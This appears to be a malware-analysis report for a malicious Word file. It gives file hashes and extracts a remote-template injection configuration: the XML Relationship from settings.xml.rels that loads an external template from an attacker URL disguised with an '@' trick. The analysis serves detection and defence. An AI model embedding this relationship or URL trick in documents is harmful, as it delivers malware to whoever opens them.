3fab4877ff835864fd66c7b3cf1b3d5f

MS Word Document
|
MD5: 3fab4877ff835864fd66c7b3cf1b3d5f
|
Size: 60.24 KB
|
application/msword

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	3fab4877ff835864fd66c7b3cf1b3d5f
Sha1	6b060cd5b095df54f7e58cab454dc5c1adf99ca4
Sha256	eeaa87c9a844002d35868e63e2b52c00e3b6597af063ae32dcf879caa0c4c69d
Sha384	189b2220db2c612ff61e8a537fcdfeff655b7f683252ba1dc4ab6e35af83c732b0e86d1b091a06941446ce1aa78efcc4
Sha512	a6ffef49913cbe037e2a23f517df40c977d489c3a7d80f770ed76ff43b49f5af052090060257348433f13b7403a6eca3c0351e9412fa38635c6817112b5b1fca
SSDeep	1536:/mhJSGUkbPVhPwTmSypn4C1nYLOijq0xzLvG9KNrwgQyD2zerj:/cSUbTwXyR4Qn6PzzzGKMqX3
TLSH	4B43E05DA08114BEFA16627753413A5BF7ACF5878233A90225322A7DCAF70C9DA9C706

File Structure

Malware Configuration - Remote Template

Config. Field0	Value
Target	https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM
Path	settings.xml.rels
XPath	/Relationships/Relationship
Outer XML	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />

Artefacts

Name0	Value
Remote Template - Highly Suspicious	https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM

3fab4877ff835864fd66c7b3cf1b3d5f (60.24 KB)

File Structure

Characteristics

Malware Configuration - Remote Template

Config. Field0	Value
Target	https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM
Path	settings.xml.rels
XPath	/Relationships/Relationship
Outer XML	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />

Artefacts

Name0	Value	Location
Remote Template - Highly Suspicious	https://goodnewswithbestpeoplesfrommysideprocessthebestthinkingskillpeoplesfor.docx@bersatu.me/C2CZAM Malicious	3fab4877ff835864fd66c7b3cf1b3d5f > word > _rels > settings.xml.rels

You must be signed in to post a comment.